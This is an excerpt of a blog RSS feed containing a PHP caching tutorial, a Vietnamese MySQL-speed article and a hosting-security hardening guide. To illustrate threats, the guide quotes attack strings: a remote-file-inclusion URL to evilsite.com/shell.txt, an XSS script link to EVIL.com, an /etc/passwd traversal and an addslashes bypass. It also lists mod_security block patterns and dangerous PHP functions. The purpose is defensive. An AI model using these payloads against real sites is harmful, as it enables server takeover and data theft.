<li class="even"><code> </code></li>
<li><code> $cachefile_created = ((@file_exists($cachefile)) and ($ignore_page === false)) ? @filemtime($cachefile) : 0;</code></li>
<li class="even"><code> @clearstatcache();</code></li>
<li><code> </code></li>
<li class="even"><code> // Show file from cache if still valid</code></li>
<li><code> if (time() - $cachetime &lt; $cachefile_created) {</code></li>
<li class="even"><code> </code></li>
<li><code> <em>//ob_start('ob_gzhandler');</em></code></li>
<li class="even"><code> @readfile($cachefile);</code></li>
<li><code> <em>//ob_end_flush();</em></code></li>
<li class="even"><code> exit();</code></li>
<li><code> </code></li>
<li class="even"><code> }</code></li>
<li><code> </code></li>
<li class="even"><code> // If we're still here, we need to generate a cache file</code></li>
<li><code> </code></li>
<li class="even"><code> ob_start();</code></li>
<li><code> </code></li>
<li class="even"><code>?&gt;</code></li>
</ol>
<p>The file starts by generating an MD5 hash of the page that has been requested. It will use the complete requested URL, and the MD5 hash will be a 32 digit number, unique for each file. It then checks for the existence of this file.</p>
<p>If the file exists, it checks to see when it was last updated. If the file is older than the allowed time, it acts as though no cache existed (carrying on and generating a new file). If the file is still valid, it simply displays it.</p>
<p>There is also, in the settings, a list of pages to ignore when caching. This can be search results, comments pages, a news page or news feed &#8211; anything that should always be up to date. Simply add anything you do not want cached into here, and it will not be cached. You can add directories, or parts of URLs &#8211; the above simply searches for a text string. In the example above, I have left out the &#8220;http://www&#8221; portion of the URL, as this can be missed out by some visitors.</p>
<p>Finally, the two lines in italics above are both commented out. You can, if you like, uncomment these, and that will use outbut buffering to gzip your content before sending it to users, making your site even faster for them. Please note, though, that output buffering with gz encoding is not available in versions of PHP previous to 4.0.5.</p>
<p>Which brings us to the second file, &#8220;end_caching.php&#8221;. At the end of the first file, if no cache exists, we start output buffering. This means that rather than send the page to the user, we are saving it for use later. In the second script below, we take the contents of the output buffer, and write it to a file.</p>
<ol class="codeblock">
<li><code>&lt;?php</code></li>
<li class="even"><code> </code></li>
<li><code> // Now the script has run, generate a new cache file</code></li>
<li class="even"><code> $fp = @fopen($cachefile, 'w'); </code></li>
<li><code> </code></li>
<li class="even"><code> // save the contents of output buffer to the file</code></li>
<li><code> @fwrite($fp, ob_get_contents());</code></li>
<li class="even"><code> @fclose($fp); </code></li>
<li><code> </code></li>
<li class="even"><code> ob_end_flush(); </code></li>
<li><code> </code></li>
<li class="even"><code>?&gt;</code></li>
</ol>
<p><strong>Important:</strong> If you do not have &#8220;register_globals&#8221; set to off in php.ini, make sure you add the following to the beginning of &#8220;end_caching.php&#8221; (straight after the &#8220;&lt;?php&#8221; line) to aid security. This will ensure that an attacker cannot visit &#8220;end_caching.php&#8221; directly and overwrite an important file on your site (or read its contents).</p>
<ol class="codeblock">
<li><code>$cachedir = '../cache/'; // Directory to cache files in (keep outside web root)</code></li>
<li class="even"><code> $cacheext = 'cache'; // Extension to give cached files (usually cache, htm, txt)</code></li>
<li><code> $page = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // Requested page</code></li>
<li class="even"><code> $cachefile = $cachedir . md5($page) . '.' . $cacheext; // Cache file to either load or create</code></li>
</ol>
<p>And there we have it. If a cached document exists, it is shown to the user, and if not, one is created.</p>
<p>Finally, you need to make sure the cache remains reasonably clean. Over time, out of date or redundant files could build up, and these should be removed regularly. For this reason, I usually set up an automated script to delete all cache files once a week (or less often, depending on the traffic of the site), but this will depend greatly upon the server software you are using.</p>
<p>The script below is one example of a script to delete all cache files. You will need to set the cache directory at the beginning before running the script. You can either use this manually, visiting the page through your browser whenever you want to empty the cache, or run it automatically. An example of a CRON job used to run this script automatically is below the script (the &#8221; &gt;/dev/null 2&gt;&amp;1&#8243; bit at the end of the crontab prevents the server emailing me every time the script runs). Please note that this last script will be cached too, unless you specify otherwise!</p>
<ol class="codeblock">
<li><code>&lt;?php</code></li>
<li class="even"><code> </code></li>
<li><code> // Settings</code></li>
<li class="even"><code> $cachedir = '../cache/'; // Directory to cache files in (keep outside web root)</code></li>
<li><code> </code></li>
<li class="even"><code> if ($handle = @opendir($cachedir)) {</code></li>
<li><code> while (false !== ($file = @readdir($handle))) {</code></li>
<li class="even"><code> if ($file != '.' and $file != '..') {</code></li>
<li><code> echo $file . ' deleted.&lt;br&gt;';</code></li>
<li class="even"><code> @unlink($cachedir . '/' . $file);</code></li>
<li><code> }</code></li>
<li class="even"><code> }</code></li>
<li><code> @closedir($handle);</code></li>
<li class="even"><code> }</code></li>
<li><code> </code></li>
<li class="even"><code>?&gt;</code></li>
</ol>
<ol class="codeblock">
<li><code>curl <a href="http://www.your_domain.com/empty_caching.php" >http://www.your_domain.com/empty_caching.php</a> &gt;/dev/null 2&gt;&amp;1</code></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/caching-output-in-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tăng tốc website chạy MySQL</title>
		<link>http://www.huongtinhyeu.net/cms/tang-toc-website-chay-mysql/</link>
		<comments>http://www.huongtinhyeu.net/cms/tang-toc-website-chay-mysql/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 16:00:09 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[CLB Webmaster]]></category>
		<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=204</guid>
		<description><![CDATA[Tăng tốc độ xử lý CSDL MySQL
Khi thiết kế các hệ thống lớn với nhiều người truy cập, một trong những điều người ta nghĩ đến ngay lập tức là thiết kế CSDL sao cho ta có thể truy vấn nhanh nhất có thể.
Loạt bài dưới đây sẽ trình bày các kỹ thuật tối ưu [...]]]></description>
			<content:encoded><![CDATA[<p><span class="smalltext"><strong>Tăng tốc độ xử lý CSDL MySQL</strong></span></p>
<p id="pid_275">Khi thiết kế các hệ thống lớn với nhiều người truy cập, một trong những điều người ta nghĩ đến ngay lập tức là thiết kế CSDL sao cho ta có thể truy vấn nhanh nhất có thể.<span id="more-204"></span></p>
<p>Loạt bài dưới đây sẽ trình bày các kỹ thuật tối ưu hoá hệ thống với CSDL MySQL.</p>
<p><strong>Quy tắc 1: Giảm thiểu sự kết nối tới MySQL Server.</strong><br />
Khi kết nối tới CSDL MySQL, chúng ta có 2 hàm kết nối là mysql_connect() và mysql_pconnect(). Về cơ bản thì hai hàm này có các tham số y hệt nhau, nhưng nội hàm của chúng có những khác biệt đáng kể.</p>
<p>Theo lý thuyết, mỗi lần gọi hàm mysql_connect(), hệ thống sẽ khởi tạo một kết nối mới tới CSDL, còn khi sử dụng hàm mysql_pconnect(), hệ thống sẽ tận dụng kết nối đã được thiết lập trước đó.</p>
<p>Nếu trang Web của chúng ta được triệu gọi nhiều lần trong một khoảng thời gian ngắn, hàm mysql_connect() sẽ tiêu tốn một lượng đáng kể tài nguyên của hệ thống để thiết lập kết nối. Vì vậy, hãy cố gắng sử dụng hàm kết nối mysql_pconnect().</p>
<p><strong>Quy tắc 2: Thiết lập các trường index và cố gắng truy vấn dữ liệu thông qua các điều kiện xác lập trên chỉ số.</strong></p>
<p>Nếu các bạn học qua cấu trúc dữ liệu và giải thuật, hẳn chúng ta cũng phải nhớ đến các giải thuật tìm kiếm nhanh. Chúng ta đã đúc kết được rằng giải thuật tìm kiếm là nhanh nhất với cách tìm dựa trên bảng băm hoặc trên mảng đã sắp xếp (với thuật toán tìm kiếm nhị phân nổi tiếng). Các trường được thiết lập ở dạng index sẽ được sắp xếp trên một file riêng, khi chúng ta truy vấn dữ liệu thông qua các trường index, các giải thuật tìm kiếm sẽ phát huy tính hiệu quả tối đa của nó, đặc biệt là các trường index dạng số.</p>
<p>Vì vậy, hãy cố gắng thiết kế các truy vấn cũng như CSDL sao cho tối ưu nhất dựa trên nguyên tắc chỉ số này.</p>
<p><strong>Quy tắc 3: Chấp nhận dư thừa dữ liệu</strong></p>
<p>Một thiết kế dữ liệu theo dạng chuẩn 4 có thể rất đẹp mắt, nhưng khi truy vấn dữ liệu, chúng ta sẽ phải “xới tung” nhiều bảng quan hệ có khi chỉ để lấy ra một record. Ngày xưa, khi giá thành ổ cứng cao ngất ngểu, dung lượng ổ cứng bé tẹo nên các cụ phải thiết kế dữ liệu ở dạng “tiêu chuẩn cao” nhằm giảm dung lượng lưu trữ, nhưng ngày nay, dung lượng lưu trữ không còn là vấn đề đáng lo lắng, vì vậy trong một số trường hợp, hãy chịu khó hi sinh tính đẹp đẽ của chuẩn 4 để tăng tốc độ truy vấn. Nên nhớ rằng truy vấn trên một bảng sẽ nhanh hơn rất nhiều lần khi truy vấn trên nhiều bảng quan hệ.</p>
<p><strong>Quy tắc 4: Chỉ lấy đúng và đủ dữ liệu cần thiết</strong></p>
<p>Nhiều người thường thích truy vấn dạng “Select *…”. Dấu * ở đây sẽ bắt hệ thống làm việc mệt nhọc hơn vì phải xử lý nhiều dữ liệu hơn. Dữ liệu trả về cũng tiêu tốn nhiều bộ nhớ hơn. Vì vậy, thay vì select *, hãy chỉ select những trường cần thiết.</p>
<p>Một vấn đề nữa là khi sử dụng hàm mysql_fetch_array, nhiều người thường bỏ qua các tham số tuỳ chọn. Nếu có thể, hãy sử dụng tham số MYSQL_ASSOC, khi đó hệ thống sẽ trả về một mảng với chỉ số là tên trường, như vậy các bạn sẽ dễ hình dung và đỡ tốn bộ nhớ vì phải phát sinh thêm một mảng với chỉ số dạng số.</p>
<p><strong>Quy tắc 5: Giải phóng bộ nhớ ngay sau khi sử dụng xong</strong></p>
<p>Theo mặc định thì PHP sẽ giải phóng bộ nhớ sau khi chạy xong toàn bộ chương trình, nhưng với một cỗ máy chủ già nua cũ kỹ với hàng trăm lượt truy cập một lúc thì 1 KB bộ nhớ cũng là một tài nguyên cực kỳ quý giá. Vậy tại sao chúng ta không giải phóng bộ nhớ cho những thứ không dùng đến?<br />
Sau khi thực hiện các truy vấn và thực hiện xong các phép tính toán với các bản ghi lấy được, hãy chịu khó nhét cái function mysql_free_result() vào ngay nhé.<br />
(cmxq phpvn.org)</p>
<p>Tổng hợp tại : http://vnsforum.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/tang-toc-website-chay-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>-= Securing Your Hosting Company =-</title>
		<link>http://www.huongtinhyeu.net/cms/securing-your-hosting-company/</link>
		<comments>http://www.huongtinhyeu.net/cms/securing-your-hosting-company/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 15:46:39 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[bảo mật]]></category>
		<category><![CDATA[bảo mật máy chủ]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=117</guid>
		<description><![CDATA[-= Securing Your Hosting Company =-
&#8211; Credits: DeadlyData &#8211;

Part I. Your own websites  security.

The first step you always want to take to secure  your hosting company is to make sure your own website.
Is completely secure some things to do if you are using a common CMS Google it with the word exploit make [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Fixedsys;">-= Securing Your Hosting Company =-<br />
&#8211; Credits: DeadlyData &#8211;<br />
</span><br />
<span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><span style="color: #ff0000;"><span style="font-size: small;">Part I. Your own websites  security.</span><br />
</span></span></span><br />
The first step you always want to take to secure  your hosting company is to make sure your own website.</p>
<p>Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.<span id="more-117"></span></p>
<p>Next try any Get Vars in your scripts and put a &#8216; at the end of them what I mean is you have = you add &#8216; so it&#8217;s yourwebsite.com/page?=&#8217; or any other similar thing not only page= you may also try char(39) rather then only &#8216; most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the &#8216; but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.<br />
If you get an error you might want to check the script.</p>
<p>The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.</p>
<p>If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)&#8230;<br />
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use<br />
The following to browse into other places ../../../../ if they wanted to they&#8217;d view your passwd file via ../../../../../../etc/passwd</p>
<p>Well right now you&#8217;d say big Woop they got some users maybe not but  still have the ability to go to any forum on<br />
that server and upload an  avatar with PHP-EXIF data in it then include it<br />
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all&#8230;</p>
<p>Recommendations fix the script have mod security block all  ../../../../../ to a certain point attempts.</p>
<p>Ok next were going to  discuss the abilities of an RFI and how to block it&#8230;<br />
So the things you can  do with an RFI well lets see remotely include an PHP file that will execute its  php file like so<br />
<a href="http://www.yoursite.com/file.php?file=evilsite.com/shell.txt"  target="_blank">www.yoursite.com/file.php?file=evilsite.com/shell.txt</a>? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.</p>
<p>Prevention add http:// to your mod security this way when they  try remotely including a file in the URL<br />
<a href="http://www.evilsite.com/"  target="_blank">http://www.evilsite.com</a> mod_security will block it.</p>
<p>Ok our next subject is XSS this is a tricky  one on account of there are many ways around mod security blocking this&#8230;</p>
<p>What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn&#8217;t really see it&#8230; but when you clicked they could potentially grab your cookie or any current stored browser information.<br />
With this they could  use your cookie as their own to login as you&#8230; maybe even get password  information from this<br />
cookie&#8230;</p>
<p>Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as&#8230;<br />
www.mysite.com/info.php?xss=&lt;script&gt;src=http://EVIL.com/xss.js&lt;/script&gt;<br />
Never click it what so ever&#8230; ban the person who has sent this.</p>
<p>Ok  now for the mod_security bans&#8230; add &lt;script&gt; add &lt;body= add  &lt;/script&gt; add &#8220;&gt;<br />
And this should fix your XSS problems that can  actually cause damage&#8230;</p>
<p>As for SQL injection the way to block this is to&#8230; add &#8216; or /* to the mod security be sure to add in char(39) as it&#8217;s &#8216; in php and php will in fact read it from a URL and interpret it as &#8216; and still launch the sql injection.</p>
<p>One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.</p>
<p>Zend should fix this problem.</p>
<p>Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.<br />
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.</p>
<p><span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><br />
<span style="color: #ff0000;"><span style="font-size: small;">Part II. </span></span><span style="font-size: small;"><span style="color: #ff0000;">Your Employees</span></span></span></span></p>
<p><span style="text-decoration: underline;"><br />
RULE-1 -PASSWORDS</span><br />
Do  not use password even more then once on your servers if you do the first time  some one gets your password to any<br />
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company&#8230;</p>
<p><span style="text-decoration: underline;">RULE-2 -PHONE CHATS</span><br />
Always request a person&#8217;s information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.</p>
<p><span style="text-decoration: underline;">RULE-3 -Email CHATS</span><br />
This one is a bit easier there is no emotion  to what the person is trying to do&#8230;<br />
If they slip up on one peace of  information be sure to email them back and ask them to correct it before even<br />
Sending any thing back or touching any thing.</p>
<p><span style="text-decoration: underline;">RULE-4 -Talking to each  other</span><br />
While talking to each other in public services.. or services  that my be able to be taped such as an IRC&#8230;<br />
Be sure not to  mention any root passwords, client names, etc&#8230;</p>
<p><span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><span style="color: #ff0000;"><span style="font-size: small;">Part III. </span></span><span style="font-size: small;"><span style="color: #ff0000;">Securing Your Server</span></span><br />
</span></span><span style="color: red;"><br />
</span><span style="color: black;"><span style="color: red;">Ok well first were going to do the  obvious and CHMOD /home to 755</span></span></p>
<p>This is simple just go ahead and type  <span style="color: #0000ff;">chmod 755 /home</span><br />
Or<br />
<span style="color: #0000ff;">CD  /<br />
chmod 755 home</span></p>
<p><span style="color: #ff0000;">Next were going to make  sure no user has any bash access what so ever.</span></p>
<p>This may already be  setup by the current hosting control panel you are using&#8230;<br />
If not were  going to <span style="color: #0000ff;">nano /etc/passwd</span> and make sure all Linux  users that you don&#8217;t want having bash are set to<br />
<span style="color: #0000ff;">/sbin/nologin</span></p>
<p>I realize some hosting companies also do  dedicated server companies so it wouldn&#8217;t work out if your client didn&#8217;t have<br />
bash to the server.<br />
So this is mainly based for the shared hosting  servers.</p>
<p><span style="color: #ff0000;"><span style="font-size: small;">Part IV. PHP  Configuration.</span></span><br />
<span style="color: #ff0000;">Now were going to  do some things to PHP.ini</span><br />
<span style="color: #0000ff;">usr/local/lib/php.ini</span><br />
^ On Most Systems<br />
<span style="color: royalblue;">safe_mode = </span><span style="color: royalblue;"><span style="color: red;">On</span><br />
</span><span style="color: royalblue;">safe_mode_gid = </span><span style="color: royalblue;"><span style="color: red;">Off</span><br />
</span><span style="color: royalblue;">open_basedir = </span><span style="color: royalblue;"><span style="color: red;">directory  [:...]</span><br />
</span><span style="color: royalblue;">safe_mode_exec_dir = </span><span style="color: royalblue;"><span style="color: red;">directory [:...]</span><br />
</span><span style="color: royalblue;">expose_php = </span><span style="color: royalblue;"><span style="color: red;">Off</span><br />
</span><span style="color: royalblue;">register_globals = </span><span style="color: royalblue;"><span style="color: red;">Off</span><br />
</span><span style="color: royalblue;">display_errors =</span><span style="color: royalblue;"><span style="color: red;">Off</span><br />
</span><span style="color: royalblue;">log_errors = </span><span style="color: royalblue;"><span style="color: red;">On</span><br />
</span><span style="color: royalblue;">error_log = </span><span style="color: royalblue;"><span style="color: red;">filename</span><br />
</span><span style="color: royalblue;">magic_quotes=</span><span style="color: royalblue;"><span style="color: red;">On</span><br />
</span><span style="color: royalblue;">disable_functions = </span><span style="color: royalblue;"><span style="color: red;">show_source, system, shell_exec, passthru, exec,<br />
phpinfo,  popen, proc_open, base64_decode, base64_encodem, proc_terminat</span>e</span></p>
<p><span style="color: #ff0000;">Some explanations of the functions your  disabling.</span></p>
<p><span style="color: #008080;">show_source()</span>, Disables  functions most shells use to view the source of other files one commonly<br />
c99, ModfiedC99 (c100), ModfiedC99(x2300)<br />
<span style="color: #008080;">phpinfo()</span>, Sometimes will bring up XSS, also numeral  overflows have been found while using <span style="color: #008080;">PHPINFO()</span> that  and you don&#8217;t<br />
want people getting your version of PHP and etc. to attempt to  exploit it if you may just be out of date or to up to<br />
date.<br />
<span style="color: #008080;">system</span>, Allows Bash Commands Via PHP</p>
<p><span style="color: #008080;">shell_exec</span>, Allows Bash Commands via PHP</p>
<p><span style="color: #008080;">exec</span>, Allows Bash Commands Via PHP</p>
<p><span style="color: #008080;">popen</span>, Almost like Bash not quite but close using  PHP</p>
<p><span style="color: #008080;">proc_open</span>, Almost like bash not quite but  close using PHP</p>
<p><span style="color: #008080;">base64_decode</span>, decodes base64  encryptions&#8230; reason for disabling also allows users with server access to  bypass mod security</p>
<p><span style="color: #008080;">base64_encode</span>, encodes  base64 encryptions&#8230; reason for disabling also allows users with server access  to bypass mod security</p>
<p><span style="color: #008080;">proc_terminate</span>,  Terminates Processes running on the server.</p>
<p>Some reasons for having magic  quotes on, it disables most nullbyte attempts <span style="color: #008080;">(%00)</span><br />
And will stop a small majority of SQL  injections.</p>
<p><span style="font-size: small;"><br />
</span><span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><span style="font-size: small;"><span style="color: #ff0000;">Part V. MySQL and Apache Configurations</span></span></span></span><br />
<span style="color: #ff0000;">Disable all out bound MYSQL connections&#8230;</span></p>
<p>Besides from  Trusted Servers</p>
<p>This may actually be set in the host&#8217;s field of the  users in the actual MYSQL table, for each user account it lets you<br />
Give them  an IP or type any I&#8217;d recommend giving them an IP&#8230;<br />
Although when you give  them and IP don&#8217;t worry it&#8217;s not that you can only have one IP able to access  that user you<br />
do in fact have the ability to recreate the user<br />
over and  over and fill in the IP field differently each time.</p>
<p><span style="color: #ff0000;">Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID &amp; UID</span></p>
<p>A reference Document on how to do this can  be found here.<br />
<span style="color: royalblue;"><br />
</span><span style="color: royalblue;">http://httpd.apache.org/docs/1.3/suexec.html<br />
</span><br />
<span style="color: #ff0000;">Comments:</span><br />
What this will do with apache is pretty much  make sure that the users can&#8217;t access other users directories on the<br />
Server  this is a common vulnerability you get access to one site on the server and you  get access to all websites on the same<br />
server&#8230; this protects against it.  All though apache is running under each user using SuEXEC would solve that  problem.</p>
<p><span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><br />
<span style="color: #ff0000;"><span style="font-size: small;">Part VI. SSH Keys.</span></span><br />
</span></span><br />
It&#8217;s not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.</p>
<p>A tutorial on how to do this can be  found here:</p>
<p><span style="color: royalblue;">http://www.sun.com/bigadmin/content/submitted/ssh_setting.html</span> <span style="color: royalblue;"><br />
</span><br />
If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.</p>
<p>There  are some references for this located here</p>
<p><span style="color: royalblue;">http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm<br />
</span></p>
<p>And  here</p>
<p><span style="color: royalblue;">http://www.userlocal.com/security/securinginetdetc.php</span><br />
<span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><span style="color: royalblue;"><br />
</span><span style="font-size: small;"><br />
</span><span style="font-size: small;"><span style="color: #ff0000;">Part VII.   <a href="http://www.webhostingtalk.com/#HRS"  target="_blank"><span style="color: #ff0000;">BackDoor-Trojan-Rootkit</span></a> Proctection  &amp; FireWall  Setup</span></span><span style="font-size: small;"><br />
</span><br />
</span></span><br />
<span style="color: #ff0000;">Down To The Back Door Protection</span></p>
<p>In the even some one gets access to your server even with all the security you&#8217;ve gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,</p>
<p>So what exactly are some things you can do to prevent this if  not stop it.</p>
<p>Well I honestly don&#8217;t think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.</p>
<p>But  you can stop or remove them once their on your system, or prevent them from  being ran.</p>
<p>What all can a person do just by having the ability to upload a  file.<br />
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.</p>
<p>At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.</p>
<p>Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.</p>
<p>Trojans &amp; Viruses on Linux aren&#8217;t too much of a worry as there aren&#8217;t too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.</p>
<p>Now a couple things I&#8217;ve researched on that can help prevent  this.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">Root Kit  Hunter.</span><br />
&#8212;<br />
<span style="color: #ff0000;">Description:</span></p>
<p>Root  kit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of  nasty tools. This tool scans for<br />
Root kits, backdoors and local exploits by  running tests like:</p>
<p>- MD5 hash compare<br />
- Look for default files used by root  kits</p>
<p>- Wrong file permissions for binaries<br />
- Look for  suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
-  Optional scan within plaintext and binary files</p>
<p>&#8212;&#8212;-<br />
<span style="color: #ff0000;">Comments:</span><br />
I highly recommend Root Kit Hunter.<br />
&#8212;<br />
<span style="color: #ff0000;">Download</span><br />
&#8212;<br />
<span style="color: #ffffff;"><span style="color: royalblue;">http://www.rootkit.nl/projects/rootkit_hunter.html</span></span><br />
&#8212;<br />
<span style="color: #ff0000;">Clam Antivirus</span><br />
&#8212;<br />
<span style="color: #ff0000;">Description:</span></p>
<p>* Command-line scanner<br />
*  Fast, multi-threaded daemon with support for on-access scanning<br />
* milter  interface for sendmail<br />
* advanced database updater with support for  scripted updates and digital signatures<br />
* virus scanner C library<br />
* on-access scanning (Linux and FreeBSD)<br />
* virus database updated  multiple times per day (see home page for total number of signatures)<br />
*  built-in support for various archive formats, including Zip, RAR, Tar, Gzip,  Bzip2, OLE2, Cabinet, CHM,<br />
BinHex, SIS and others<br />
* built-in support  for almost all mail file formats<br />
* built-in support for ELF executables  and Portable Executable files compressed with UPX, FSG, Petite, NsPack,<br />
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others<br />
* built-in support for popular document formats including MS Office and Mac  Office files, HTML, RTF and PDF<br />
&#8212;&#8212;-<br />
<span style="color: #ff0000;">Comments:</span><br />
Honestly I&#8217;d recommend this even when using  Mod-Security I&#8217;ve built shells that will in fact bypass modsecurity well<br />
this well scan the source codes of the PHP shell<br />
and make sure thereï؟½s  nothing that could potentially harm or allow the user to have to much access  over the system.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">Download</span><br />
&#8212;<br />
<span style="color: royalblue;">http://www.clamav.net/download/</span><br />
&#8211;</p>
<p><span style="color: #ff0000;">Banning The Brute Forcers,  FTP, SSH, etc.</span><br />
&#8212;<br />
<span style="color: #ff0000;">APF (Advanced Policy  Firewall)</span><br />
&#8212;</p>
<p><span style="color: #ff0000;">Description: </span></p>
<p><span style="color: #ff0000;">Rather then grabbing this one off their site I figured I&#8217;d write  one.</span></p>
<p>Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.</p>
<p>Allows alot of  configuration options some of which may also benfit in bandwidth saving and DDoS  prevention,<br />
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.<br />
Then this will block it from connecting back to them and them  connecting back to it.<br />
&#8212;<br />
<span style="color: #ff0000;">Comments:</span><br />
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.<br />
To make  sure every one has the ability to get into their teamspeaks,</p>
<p>Some commands that can be used with this Firewall just incase you  decide to use it.</p>
<p><span style="color: #ff0000;">Banning an IP</span><br />
<span style="color: #0000ff;">apf -d IP</span></p>
<p><span style="color: #ff0000;">Unbanning an  IP</span><br />
<span style="color: #0000ff;">apf -u IP</span></p>
<p>I recommend ignoring your own IP in the</p>
<p><span style="color: #0000ff;">/etc/apf/allow_hosts.rules</span></p>
<p>Using the following syntax you can ignore your IP from all firewall  rules meaning you don&#8217;t follow them.</p>
<p><span style="color: #0000ff;">d=PORT:d=IP </span> <span style="color: red;">// ENABLES YOUR IP COMMING  IN ON THE PORT</span><br />
<span style="color: #0000ff;">out:d=PORT:d=IP</span> <span style="color: red;">// ENABLES YOUR IP GOING OUT ON THE PORT</span></p>
<p>For ranges  you may do the following 192.168.1.1/255</p>
<p>It will then forward from  192.168.1.1 to 192.168.1.255 to be enabled</p>
<p>&#8212;<br />
<span style="color: #ff0000;">Download</span><br />
&#8212;<br />
<span style="color: royalblue;">http://www.r-fx.ca/downloads/apf-current.tar.gz<br />
</span><br />
<span style="font-family: Trebuchet MS;"><span style="font-size: x-small;"><br />
<span style="color: #ff0000;"><span style="font-size: small;">Part VIII. DDoS Protection and Saving Bandwith + Remote  Loging.</span></span></span></span><br />
&#8212;</p>
<p><span style="color: #ff0000;">Server Monitoring  Remotely</span><br />
&#8212;<br />
<span style="color: #ff0000;">Log Watch</span><br />
&#8212;<br />
<span style="color: #ff0000;">Description:</span></p>
<p>An application that runs twenty-four seven on your server and sends the following things after going through them to your email.<br />
-Apache_Access Logs</p>
<p>-Apache_Error Logs<br />
-SSH_LOGIN&#8217;s Failed  Or Succeeded<br />
-FTP Logs<br />
-Mail Logs<br />
-Current HDD  Sizes<br />
-Kernel Logs<br />
-Mail Logs<br />
-Yum/APT-GET  Logs</p>
<p><span style="color: #ff0000;">Comments:</span><br />
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.<br />
The only main requirement is that you have SendMail Running.</p>
<p><span style="color: #ff0000;">Mail Spam Protection</span><br />
&#8212;</p>
<p><span style="color: #ff0000;">Spam Assassin</span><br />
&#8212;</p>
<p><span style="color: #ff0000;">Description:</span></p>
<p>The core distribution  consists of command line tools to perform filtering along with  Mail:<img class="inlineimg" title="Huh?" src="http://www.webhostingtalk.com/images/smilies/confused3.gif" border="0" alt="" />pamAssassin, a set of Perl modules which allow SpamAssassin to be used in  a wide range of products.</p>
<p><span style="color: #ff0000;">Comments:</span><br />
Never  used it my self because I&#8217;ve never really had to bad of mail spam problems on my  server but from what I&#8217;ve<br />
read it is in fact pretty good at filtering out  the spam in your emails.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">Download</span><br />
&#8212;<br />
<span style="color: royalblue;">http://spamassassin.apache.org/downloads.cgi?update=200705021400</span> <span style="color: royalblue;"><br />
</span><br />
&#8212;<br />
<span style="color: #ff0000;">Some Extra Mail  Protection</span></p>
<p>&#8212;<br />
Be sure that your mail-server only allows your  Server to use it or any other servers you may trust and deny all<br />
others<br />
many people will attempt to use open mail servers and spam  resources.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">DDoS Protection &amp; Bandwidth  Saving.</span></p>
